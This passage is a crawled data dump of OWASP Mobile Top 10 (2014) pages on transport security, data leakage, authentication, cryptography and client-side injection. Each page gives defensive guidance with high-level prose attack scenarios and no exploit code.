the adversary intercepts an admin account, the entire site could be exposed. Poor SSL setup can also facilitate phishing and MITM attacks.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nAt a minimum, interception of sensitive data through a communication channel will result in a privacy violation.\n\nThe violation of a user’s confidentiality may result in:\n\n- Identity theft;\n- Fraud, or\n- Reputational Damage.\n\n# Am I Vulnerable To ‘Insufficient Transport Layer Protection’?\n\nTo find out if an application has sufficient transport layer protection, look at the application traffic through a proxy. Answer the following questions:\n\n- Are all connections, not just ones to servers you own, properly encrypted?\n- Are the SSL certificates in date?\n- Are the SSL certificates self signed?\n- Does the SSL use high enough cipher strengths?\n- Will your application accept user accepted certificates as authorities?\n\n# How Do I Prevent ‘Insufficient Transport Layer Protection’?\n\n**General Best Practices**\n\n- Assume that the network layer is not secure and is susceptible to eavesdropping.\n- Apply SSL/TLS to transport channels that the mobile app will use to transmit sensitive information, session tokens, or other sensitive data to a backend API or web service.\n- Account for outside entities like third-party analytics companies, social networks, etc. by using their SSL versions when an application runs a routine via the browser/webkit. Avoid mixed SSL sessions as they may expose the user’s session ID.\n- Use strong, industry standard cipher suites with appropriate key lengths.\n- Use certificates signed by a trusted CA provider.\n- Never allow self-signed certificates, and consider certificate pinning for security conscious applications.\n- Always require SSL chain verification.\n- Only establish a secure connection after verifying the identity of the endpoint server using trusted certificates in the key chain.\n- Alert users through the UI if the mobile app detects an invalid certificate.\n- Do not send sensitive data over alternate channels (e.g, SMS, MMS, or notifications).\n- If possible, apply a separate layer of encryption to any sensitive data before it is given to the SSL channel. In the event that future vulnerabilities are discovered in the SSL implementation, the encrypted data will provide a secondary defense against confidentiality violation.\n\nNewer threats allow an adversary to eavesdrop on sensitive traffic by intercepting the traffic within the mobile device just before the mobile device’s SSL library encrypts and transmits the network traffic to the destination server. See M10 for more information on the nature of this risk.\n\n**iOS Specific Best Practices**\n\nDefault classes in the latest version of iOS handle SSL cipher strength negotiation very well. Trouble comes when developers temporarily add code to bypass these defaults to accommodate development hurdles. In addition to the above general practices:\n\n- Ensure that certificates are valid and fail closed.\n- When using CFNetwork, consider using the Secure Transport API to designate trusted client certificates. In almost all situations, NSStreamSocketSecurityLevelTLSv1 should be used for higher standard cipher strength.\n- After development, ensure all NSURL calls (or wrappers of NSURL) do not allow self signed or invalid certificates such as the NSURL class method setAllowsAnyHTTPSCertificate.\n- Consider using certificate pinning by doing the following: export your certificate, include it in your app bundle, and anchor it to your trust object. Using the NSURL method connection:willSendRequestForAuthenticationChallenge: will now accept your cert.\n\n**Android Specific Best Practices**\n\n- Remove all code after the development cycle that may allow the application to accept all certificates such as org.apache.http.conn.ssl.AllowAllHostnameVerifier or SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER. These are equivalent to trusting all certificates.\n- If using a class which extends SSLSocketFactory, make sure checkServerTrusted method is properly implemented so that server certificate is correctly checked.\n\n# Example Attack Scenarios\n\nThere are a few common scenarios that penetration testers frequently discover when inspecting a mobile app’s communication security:\n\n**Lack of certificate inspection**\n\nThe mobile app and an endpoint successfully connect and perform a SSL/TLS handshake to establish a secure channel. However, the mobile app fails to inspect the certificate offered by the server and the mobile app unconditionally accepts any certificate offered to it by the server. This destroys any mutual authentication capability between the mobile app and the endpoint. The mobile app is susceptible to man-in-the-middle attacks through a SSL proxy\n\n**Weak handshake negotiation**\n\nThe mobile app and an endpoint successfully connect and negotiate a cipher suite as part of the connection handshake. The client successfully negotiates with the server to use a weak cipher suite that results in weak encryption that can be easily decrypted by the adversary. This jeopardizes the confidentiality of the channel between the mobile app and the endpoint;\n\n**Privacy information leakage**\n\nThe mobile app transmits personally identifiable information to an endpoint via non-secure channels instead of over SSL. This jeopardizes the confidentiality of any privacy-related data between the mobile app and the endpoint.\n\n# References\n\n- [Fortify On Demand Blog - Exploring The OWASP Mobile Top 10: Insufficient Transport Layer Protection](http://h30499.www3.hp.com/t5/Fortify-Application-Security/Exploring-The-OWASP-Mobile-Top-10-M3-Insufficient-Transport/ba-p/5966473)\n- [OWASP IOS Developer Cheat Sheet](https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet)\n- [blog.securemacprogramming.com - SSL Pinning for Cocoa Touch](http://blog.securemacprogramming.com/2011/12/on-ssl-pinning-for-cocoa-touch/)\n- [Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security](http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf)\n- [Fortify VulnCat - A Taxonimy of Software Security Errors](http://www.hpenterprisesecurity.com/vulncat/en/vulncat/index.html)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 7770, "slov": 1071, "odkazu": 39, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:45", "sha256": "70201eb4a72ddb34571e4b45279bd8ab8b6784e05cf524f1fab6a57d44fc2ddc", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://h30499.www3.hp.com/t5/Fortify-Application-Security/Exploring-The-OWASP-Mobile-Top-10-M3-Insufficient-Transport/ba-p/5966473", "https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet", "http://blog.securemacprogramming.com/2011/12/on-ssl-pinning-for-cocoa-touch/", "http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf", "http://www.hpenterprisesecurity.com/vulncat/en/vulncat/index.html", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m4-unintended-data-leakage", "titulek": "M4: Unintended Data Leakage | OWASP Foundation", "h1": "M4: Unintended Data Leakage", "popis": "M4: Unintended Data Leakage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m4-unintended-data-leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M4: Unintended Data Leakage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M4: Unintended Data Leakage | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m4-unintended-data-leakage.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M4: Unintended Data Leakage"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Unintended Data Leakage’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Unintended Data Leakage’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M4: Unintended Data Leakage\n\n# Threat Agents\n\n**Application Specific**\n\nAgents that may exploit this vulnerability include the following: mobile malware, modified versions of legitimate apps, or an adversary that has physical access to the victim’s mobile device.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nAn agent that has physical access to the device will use freely available forensic tools to conduct the attack. An agent that has access to the device via malicious code will use fully permissible and documented API calls to conduct this attack.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\nUnintended data leakage occurs when a developer inadvertently places sensitive information or data in a location on the mobile device that is easily accessible by other apps on the device. First, a developer’s code processes sensitive information supplied by the user or the backend. During that processing, a side-effect (that is unknown to the developer) results in that information being placed into an insecure location on the mobile device that other apps on the device may have open access to. Typically, these side-effects originate from the underlying mobile device’s operating system (OS). This will be a very prevalent vulnerability for code produced by a developer that does not have intimate knowledge of how that information can be stored or processed by the underlying OS. It is easy to detect data leakage by inspecting all mobile device locations that are accessible to all apps for the app’s sensitive information.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThis vulnerability may result in the following technical impacts: extraction of the app’s sensitive information via mobile malware, modified apps, or forensic tools.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe nature of the business impact is highly dependent upon the nature of the information stolen. Sensitive information theft may result in the following business impacts:\n\n- Privacy Violations\n- PCI Violations\n- Reputational Damage; or\n- Fraud.\n\n# Am I Vulnerable To ‘Unintended Data Leakage’?\n\nUnintended data leakage (formerly side-channel data leakage) includes vulnerabilities from the OS, frameworks, compiler environment, new hardware, etc. without a developers knowledge.\n\nIn mobile development, this is most seen in undocumented (or under-documented) internal processes such as:\n\n- The way the OS caches data, images, key-presses, logging, and buffers.\n- The way the development framework caches data, images, key-presses, logging, and buffers.\n- The way or amount of data ad, analytic, social, or enablement frameworks cache data, images, key-presses, logging, and buffers.\n\n# How Do I Prevent ‘Unintended Data Leakage’?\n\nIt is important to threat model your OS, platforms, and frameworks, to see how they handle the following types of features:\n\n- URL Caching (Both request and response)\n- Keyboard Press Caching\n- Copy/Paste buffer Caching\n- Application backgrounding\n- Logging\n- HTML5 data storage\n- Browser cookie objects\n- Analytics data sent to 3rd parties\n\nIt is especially important to discern what a given OS or framework does by default. By identifying defaults and applying mitigating controls, you can avoid unintended data leakage.\n\n# Example Attack Scenarios\n\n**iOS**\n\n- URL Caching (Both request and response)\n- Keyboard Press Caching\n- Copy/Paste buffer Caching\n- Application backgrounding\n- Logging\n- HTML5 data storage\n- Browser cookie objects\n- Analytics data sent to 3rd parties\n\n**Android**\n\n- URL Caching (Both request and response)\n- Keyboard Press Caching\n- Copy/Paste buffer Caching\n- Application backgrounding\n- Logging\n- HTML5 data storage\n- Browser cookie objects\n- Analytics data sent to 3rd parties\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/index.php/OWASP_Top_Ten)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 3937, "slov": 554, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:46", "sha256": "b8e8d3b44574b6cf065a95ed78dadf32b299798f8db2d50bed0a233ef8496070", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/OWASP_Top_Ten", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m5-poor-authorization-and-authentication", "titulek": "M5: Poor Authorization and Authentication | OWASP Foundation", "h1": "M5: Poor Authorization and Authentication", "popis": "M5: Poor Authorization and Authentication on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m5-poor-authorization-and-authentication", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M5: Poor Authorization and Authentication on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M5: Poor Authorization and Authentication | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m5-poor-authorization-and-authentication.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M5: Poor Authorization and Authentication"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Poor Authorization and Authentication’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Poor Authorization and Authentication’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M5: Poor Authorization and Authentication\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents that exploit authentication vulnerabilities typically do so through automated attacks that use available or custom-built tools.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nOnce the adversary understands how the authentication scheme is vulnerable, they fake or bypass authentication by submitting service requests to the mobile app’s backend server and bypass any direct interaction with the mobile app. This submission process is typically done via mobile malware within the device or botnets owned by the attacker.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\nPoor or missing authentication schemes allow an adversary to anonymously execute functionality within the mobile app or backend server used by the mobile app. Weaker authentication for mobile apps is fairly prevalent due to a mobile device’s input form factor. The form factor highly encourages short passwords that are often purely based on 4-digit PINs.\nAuthentication requirements for mobile apps can be quite different from traditional web authentication schemes due to availability requirements.\n\nIn traditional web apps, users are expected to be online and authenticate in real-time with a backend server. Throughout their session, there is a reasonable expectation that they will have continuous access to the Internet.\n\nIn mobile apps, users are not expected to be online at all times during their session. Mobile internet connections are much less reliable or predictable than traditional web connections. Hence, mobile apps may have uptime requirements that require offline authentication. This offline requirement can have profound ramifications on things that developers must consider when implementing mobile authentication.\n\nTo detect poor authentication schemes, testers can perform binary attacks against the mobile app while it is in ‘offline’ mode. Through the attack, the tester will force the app to bypass offline authentication and then execute functionality that should require offline authentication (for more information on binary attacks, see M10). As well, testers should try to execute any backend server functionality anonymously by removing any session tokens from any POST/GET requests for the mobile app functionality.\n\nTo test for poor authorization schemes, testers can perform binary attacks against the mobile app and try to execute privileged functionality that should only be executable with a user of higher privilege while the mobile app is in ‘offline’ mode (for more information on binary attacks, see M10). As well, testers should try to execute any privileged functionality using a low-privilege session token within the corresponding POST/GET requests for the sensitive functionality to the backend server.Poor or missing authorization schemes allow an adversary to execute functionality they should not be entitled to using an authenticated but lower- privilege user of the mobile app. Authorization requirements are more vulnerable when making authorization decisions within the mobile device instead of through a remote server. This may be a requirement due to mobile requirements of offline usability.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe technical impact of poor authentication is that the solution is unable to identify the user performing an action request. Immediately, the solution will be unable to log or audit user activity because the identity of the user cannot be established. This will contribute to an inability to detect the source of an attack, the nature of any underlying exploits, or how to prevent future attacks.\nAuthentication failures may expose underlying authorization failures as well. When authentication controls fail, the solution is unable to verify the user’s identity. This identity is linked to a user’s role and associated permissions. If an attacker is able to anonymously execute sensitive functionality, it highlights that the underlying code is not verifying the permissions of the user issuing the request for the action. Hence, anonymous execution of code highlights failures in both authentication and authorization controls.\n\nThe technical impact of poor authorization is similar in nature to the technical impact of poor authentication. The technical impact can be wide ranging in nature and dependent upon the nature of the over-privileged functionality that is executed. For example, over-privileged execution of remote or local administration functionality may result in destruction of systems or access to sensitive information.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impact of poor authentication will typically result in the following at a minimum:\n\n- Reputational Damage\n\nIn the event that a user (anonymous or verified) is able to execute over-privileged functionality, the business may experience the following impacts:\n\n- Reputational Damage;\n- Fraud; or\n- Information Theft.\n\n# Am I Vulnerable To ‘Poor Authorization and Authentication’?\n\nAvoid the following Insecure Mobile Application Authentication Design Patterns:\n\n- If you are porting a web application to its mobile equivalent, authentication requirements of mobile applications should match that of the web application component. Therefore, it should not be possible to authenticate with less authentication factors than the web browser.\n- Authenticating a user locally can lead to client-side bypass vulnerabilities. If the application stores data locally, the authentication routine can be bypassed on jailbroken devices through run-time manipulation or modification of the binary. If there is a compelling business requirement for offline authentication, see M10 for additional guidance on preventing binary attacks against the mobile app.\n- Where possible, ensure that all authentication requests are performed server-side. Upon successful authentication, application data will be loaded onto the mobile device. This will ensure that application data will only be available after successful authentication.\n- If client-side storage of data is required, the data will need to be encrypted using an encryption key that is securely derived from the user’s login credentials. This will ensure that the stored application data will only be accessible upon successfully entering the correct credentials. There are additional risks that the data will be decrypted via binary attacks. See M10 for additional guidance on preventing binary attacks that lead to local data theft.\n- Persistent authentication (Remember Me) functionality implemented within mobile applications should never store a user’s password on the device.\n- Ideally, mobile applications should utilize a device-specific authentication token that can be revoked within the mobile application by the user. This will ensure that the app can mitigate unauthorized access from a stolen/lost device.\n- Do not use any spoof-able values for authenticating a user. This includes device identifiers or geo-location.\n- Persistent authentication within mobile applications should be implemented as opt-in and not be enabled by default.\n- If possible, do not allow users to provide 4-digit PIN numbers for authentication passwords.\n\n# How Do I Prevent ‘Poor Authorization and Authentication’?\n\nDevelopers should assume all client-side authorization and authentication controls can be bypassed by malicious users. Authorization and authentication controls must be re-enforced on the server-side whenever possible.\n\nDue to offline usage requirements, mobile apps may be required to perform local authentication or authorization checks within the mobile app’s code. If this is the case, developers should instrument local integrity checks within their code to detect any unauthorized code changes. See M10 for more information about detecting and reacting to binary attacks.\n\n# Example Attack Scenarios\n\nThe following scenarios showcase weak authentication or authorization controls in mobile apps:\n\n1. Developers assume that only authenticated users will be able to generate a service request that the mobile app submits to its backend for processing. During the processing of the request, the server code does not verify that the incoming request is associated with a known user. Hence, adversaries submit service requests to the back-end service and anonymously execute functionality that affects legitimate users of the solution.\n2. Developers assume that only authorized users will be able to see the existance of a particular function on their mobile app. Hence, they expect that only legitimately authorized users will be able to issue the request for the service from their mobile device. Backend code that processes the request does not bother to verify that the identity associated with the request is entitled to execute the service. Hence, adversaries are able to perform remote administrative functionality using fairly low-privilege user accounts.\n3. Due to usability requirements, mobile apps allow for passwords that are 4 digits long. Server code correctly stores a hashed version of the password. However, due to the severely short length of the password, an adversary will be able to quickly deduce the original passwords using rainbow hash tables. If the password file (or data store) on the server is compromised, an adversary will be able to quickly deduce users’ passwords.\n\n# References\n\n- OWASP\n - [OWASP Cryptographic Storage Cheat Sheet](https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet)\n - [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- External\n - [NIST Encryption Guidelines](http://csrc.nist.gov/publications/drafts/800-175/sp800-175b_draft.pdf)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 9833, "slov": 1413, "odkazu": 37, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:47", "sha256": "9f4b451db3127842f410aa11b61f46ac569d90b5ac1537e6380bfe254f72231a", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "http://csrc.nist.gov/publications/drafts/800-175/sp800-175b_draft.pdf", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m6-broken-cryptography", "titulek": "M6: Broken Cryptography | OWASP Foundation", "h1": "M6: Broken Cryptography", "popis": "M6: Broken Cryptography on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m6-broken-cryptography", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M6: Broken Cryptography on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M6: Broken Cryptography | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m6-broken-cryptography.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M6: Broken Cryptography"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Broken Cryptography’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Broken Cryptography’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M6: Broken Cryptography\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents include the following: anyone with physical access to data that has been encrypted improperly, or mobile malware acting on an adversary’s behalf.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nAttack vectors include the following: decryption of data via physical access to the device or network traffic capture, or malicious apps on the device with access to the encrypted data.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\nIn order to exploit this weakness, an adversary must successfully return encrypted code or sensitive data to its original unencrypted form due to weak encryption algorithms or flaws within the encryption process.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThis vulnerability will result in the unauthorized retrieval of sensitive information from the mobile device.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThis vulnerability can have a number of different business impacts. Typically, broken cryptography will result in the following:\n\n- Privacy Violations;\n- Information Theft;\n- Code Theft;\n- Intellectual Property Theft; or\n- Reputational Damage.\n\n# Am I Vulnerable To ‘Broken Cryptography’?\n\nInsecure use of cryptography is common in most mobile apps that leverage encryption. There are two fundamental ways that broken cryptography is manifested within mobile apps. First, the mobile app may use a process behind the encryption / decryption that is fundamentally flawed and can be exploited by the adversary to decrypt sensitive data. Second, the mobile app may implement or leverage an encryption / decryption algorithm that is weak in nature and can be directly decrypted by the adversary. The following subsections explore both of these scenarios in more depth:\n\n**Reliance Upon Built-In Code Encryption Processes**\n\nBy default, iOS applications are protected (in theory) from reverse engineering via code encryption. The iOS security model requires that apps be encrypted and signed by trustworthy sources in order to execute in non-jailbroken environments. Upon start-up, the iOS app loader will decrypt the app in memory and proceed to execute the code after its signature has been verified by iOS. This feature, in theory, prevents an attacker from conducting binary attacks against an iOS mobile app.\n\nUsing freely available tools like ClutchMod or GBD, an adversary will download the encrypted app onto their jailbroken device and take a snapshot of the decrypted app once the iOS loader loads it into memory and decrypts it (just before the loader kicks off execution). Once the adversary takes the snapshot and stores it on disk, the adversary can use tools like IDA Pro or Hopper to easily perform static / dynamic analysis of the app and conduct further binary attacks.\n\nBypassing built-in code encryption algorithms is trivial at best. Always assume that an adversary will be able to bypass any built-in code encryption offered by the underlying mobile OS. For more information about additional steps you can take to provide additional layers of reverse engineering prevention, see M10.\n\n**Poor Key Management Processes**\n\nThe best algorithms don’t matter if you mishandle your keys. Many make the mistake of using the correct encryption algorithm, but implementing their own protocol for employing it. Some examples of problems here include:\n\n- Including the keys in the same attacker-readable directory as the encrypted content;\n- Making the keys otherwise available to the attacker;\n- Avoid the use of hardcoded keys within your binary; and\n- Keys may be intercepted via binary attacks. See M10 for more information on preventing binary attacks.\n\n**Creation and Use of Custom Encryption Protocols**\n\nThere is no easier way to mishandle encryption–mobile or otherwise–than to try to create and use your own encryption algorithms or protocols.\n\nAlways use modern algorithms that are accepted as strong by the security community, and whenever possible leverage the state of the art encryption APIs within your mobile platform. Binary attacks may result in adversary identifying the common libraries you have used along with any hardcoded keys in the binary. In cases of very high security requirements around encryption, you should strongly consider the use of whitebox cryptography. See M10 for more information on preventing binary attacks that could lead to the exploitation of common libraries.\n\n**Use of Insecure and/or Deprecated Algorithms**\n\nMany cryptographic algorithms and protocols should not be used because they have been shown to have significant weaknesses or are otherwise insufficient for modern security requirements. These include:\n\n- RC2\n- MD4\n- MD5\n- SHA1\n\n# How Do I Prevent ‘Broken Cryptography’?\n\nNone\n\n# Example Attack Scenarios\n\nNone\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 4987, "slov": 736, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:48", "sha256": "28962fd3da3e5d4775fb0eea3b5aa67bea82f91171662f27ae9ae89ef8abd8ab", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m7-client-side-injection", "titulek": "M7: Client Side Injection | OWASP Foundation", "h1": "M7: Client Side Injection", "popis": "M7: Client Side Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m7-client-side-injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M7: Client Side Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M7: Client Side Injection | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m7-client-side-injection.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M7: Client Side Injection"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Client Side Injection’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Client Side Injection’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M7: Client Side Injection\n\n# Threat Agents\n\n**Application Specific**\n\nConsider anyone who can send untrusted data to the mobile app, including external users, internal users, the application itself or other malicious apps on the mobile device.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nThe adversary loads simple text-based attacks that exploit the syntax of the targeted interpreter within the mobile app. Almost any source of data can be an injection vector, including resource files or the application itself.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\nClient-side injection results in the execution of malicious code on the mobile device via the mobile app. Typically, this malicious code is provided in the form of data that the threat agent inputs to the mobile app through a number of different means. The data is malformed and is processed (like all other data) by the underlying frameworks supporting the mobile app. During processing, this special data is forces a context switch and the framework reinterprets the data as executable code. The code is malicious in nature and executed by the app. In the “best-case” scenario, the code runs with the same scope and access permissions as the user that has unintentionally executed this code. In the worst-case scenario, the code executes with privileged permissions and much greater scope leading to much greater damage potential than in the “best-case” scenario. There are other forms of client-side injection that involve direct injection of binary code into the mobile app via binary attacks. This brute-force approach to malicious code execution may lead to even greater potential for damage than data injections. For more information on binary attacks, see M10.\n\n# Technical Impacts\n\n**Impact MODERATE**\n\nTo properly determine the technical impact, you must threat model the application. Injection attacks such as SQL Injection on mobile devices can be severe if your application deals with more than one user account on a single application or a shared device or paid-for content. Other injection points are meant to overflow applications components but are less likely to achieve a high impact result because of the managed code protections of the application languages.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impact of client-side injection is dependent upon the nature of the malicious code executed by the adversary. Typically, malicious code steals sensitive information (passwords; session cookies; personally identifiable information; etc). Hence, the associated business impacts include:\n\n- Fraud; and\n- Privacy Violations.\n\n# Am I Vulnerable To ‘Client Side Injection’?\n\nThe best way to find out if an application is vulnerable to injection is to identify the sources of input and validate that user/application supplied data is being subject to input validation, disallowing code injection. Checking the code is a fast and accurate way to see if the application is handling data correctly. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Manual penetration testers can confirm these issues by crafting exploits that confirm the vulnerability.\n\nSince data can come from many sources in mobile applications, it is important to list them delineated by what they are trying to achieve. In general, injection attacks on mobile devices target the following:\n\n**Data on the Device:**\n\n- SQL Injection: SQLite (many phones default data storing mechanism) can be subject to injection just like in web applications. The threat of being able to see data using this type of injection is risky when your application houses several different users, paid-for/unlockable content, etc.\n- Local File Inclusion: File handling on mobile devices has the same risks as stated above except it pertains to reading files that might be yours to view inside the application directory.\n\n**The Mobile Users Session:**\n\n- JavaScript Injection (XSS, Etc): The mobile browser is subject to JavaScript injection as well. Usually the mobile browser has access to the mobile applications cookie, which can lead to session theft.\n\n**The Application Interfaces or Functions:**\n\n- Several application interfaces or language functions can accept data and can be fuzzed to make applications crash. While most of these flaws do not lead to overflows because of the phone’s platforms being managed code, there have been several that have been used as a “userland” exploit in an exploit chain aimed at rooting or jailbreaking devices.\n\n** 